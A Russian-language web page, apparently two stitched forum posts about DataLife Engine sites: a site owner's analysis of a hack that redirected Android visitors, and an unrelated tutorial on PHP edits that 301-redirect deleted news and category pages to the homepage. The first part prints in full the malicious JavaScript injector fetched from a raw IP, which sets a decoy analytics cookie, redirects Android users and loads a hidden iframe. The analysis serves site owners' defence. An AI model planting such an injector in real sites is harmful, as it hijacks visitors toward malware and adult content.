В сети уже описано множество ситуаций, когда сайт на DLE (Data Life Engine) злоумышленники заражали вирусом и ставили редирект на другой домен. В этой статье речь пойдёт об одном из таких взломов сайта, однако описания подобного вида заражения вы вряд ли встретите — своего рода уникальный вирус, которого заметили в первый раз.
Точных данных по источнику заражения получить не удалось. Согласно найденным файлам, которые были залиты в папку UPLOADS, ничего конкретного обнаружить также не получилось.
Вероятно был украден пароль от хостинга или админки сайта. FTP аккаунтов на сайте не использовалось.
Первый раз о наличии вируса сообщил Яндекс в панеле инструментов для Вебмастеров в воскресенье 16 ноября. Выглядело всё это так:
Чтобы найти вирус, был использован специальный скрипт Ai-bolit . Так как размер сайта превышал 1 Гигабайт, сканировать файлы на наличие вирусов непосредственно на сервере не удалось (не хватало времени выполнения).
Скачав на локальный диск архив сайта, была запущена проверка, результаты которой весьма удивили — ничего подозрительного в файлах не нашлось, но сайт по-прежнему редиректил то на домен непристойного содержания, то на загрузку подозрительного ПО.
При заходе на сайт с мобильного телефона под управлением ОС Android, пользователей автоматически перебрасывало на такую страницу:
Или такую:
Просматривая каждый файл по-отдельности, выявить угрозу также не получалось.
Совершенно случайно в шаблоне main.tpl, в самом низу файла был . Прямо в коде виджета онлайн консультанта находился такой код:
Предпоследняя строчка показалась подозрительной, а именно — безобидная библиотека JQuery.ui.js загружалась с непонятного адреса, прописанного в виде IP.
Перейдя по этому адресу получаем следующее:
If(!getCookie("google__analytics__")){ var gate = "http://5.61.34.53/jquery/jquery.php"; var today = new Date(), tomorrow = new Date(); tomorrow.setDate(today.getDate() + 1); setCookie("google__analytics__", 1, tomorrow.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) window.location = gate; else{ var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0; el.src = "http://5.61.34.53/2c24"; } } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires: "") + ((path) ? "; path=" + path: "") + ((domain) ? "; domain=" + domain: "") + ((secure) ? "; secure" : ""); } function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); }
Именно эта строчка со скриптом и вызвала редирект. Удалив её, сменив пароли на сайте и хостинге, проблема исчезла.
Искать по файлам сайта с помощью NotePad вхождения eval, base64 и другие, бесполезно. Проверять сайт антивирусами (всеми известными) — бесполезно. Проверка с помощью Ai-bolit также не принесёт результата.
Только в ручном режиме с самостоятельным просмотром можно увидеть результат, так как вирус загружается не с самого сайта, а с внешнего источника. Чтобы избежать подобный взлом сайта, никогда не храните логины и пароли в браузерах, делайте их многосложными и не используйте имя администратора ADMIN. Берегите свои сайты на ДЛЕ!
Статус темы: Закрыта.
Есть у меня сайт на движке DataLife Engine и решил я сменить его профиль. Не кардинально, просто немного сузить тематику. Для этого мне нужно было удалить с сайта больше половины контента, не относящегося к этой тематике. Начал понемногу чистить страницы, заменяя их содержимое на новый контент. Но все равно пришлось менять структуру URL и из-за этого в панели вебмастеров появилось , снизилась посещаемость, позиции в поиске по узкой тематике. Кроме этого заметил что на удаленные страницы есть ссылки с форумов и сервисов типа otvet.mail.ru . При переходе с этих страниц отдавалась ошибка 404. Кроме данного технического факта следуют другие отрицательные факторы — теряется ссылочный вес, снижаются поведенческие показатели и, думаю, еще ряд негативных последствий.
Решил я это исправить брутальным методом — по всем удаленным страницам отдавать не 404 ошибку, а делать 301 редирект на главную. В CMS DLE для того, чтобы осуществить данный хак нужно в файле /engine/modules/show.full.php найти код:
elseif ( ! $news_found ) { @ header ( "HTTP/1.0 404 Not Found" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; } |
elseif(! $news_found) { @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); }
и заменить его на
// 301 редирект на главную, если новость не найдена/не существует elseif(! $news_found) { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); }// 301 редирект на главную, если новость не найдена/не существует
Теперь все при обращении поискового робота ему будет отдаваться сообщение о том, что информация с данной страницы перенесена навсегда на главную и весь ссылочный вес, который идет на удаленные страницы будет перераспределяться на главную.
Посетителей с удаленных страниц просто перенаправит на главную и, надеюсь, дальше они догадаются воспользоваться поиском.
Теперь опишу примерно такую же логику пере адресации, но уже не для новостей, а для категорий. Открываем файл /engine/engine.php и ищем код:
if (! $category_id ) $category_id = "not detected" ; |
if (!$category_id) $category_id = "not detected";
который заменяем на
if ($config [ "allow_alt_url" ] == "yes" AND ! $category_id AND $view_template != "rss" ) { header ("HTTP/1.0 301 Moved Permanently" ) ; header ("Location: {$config["http_home_url"]} " ) ; die ("Redirect" ) ; } //решение проблемы с категориями, которых не существует |
//решение проблемы с категориями, которых не существует if ($config["allow_alt_url"] == "yes" AND ! $category_id AND $view_template != "rss") { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } //решение проблемы с категориями, которых не существует
Все. Теперь то же самое будет работать и для удаленных категорий DLE.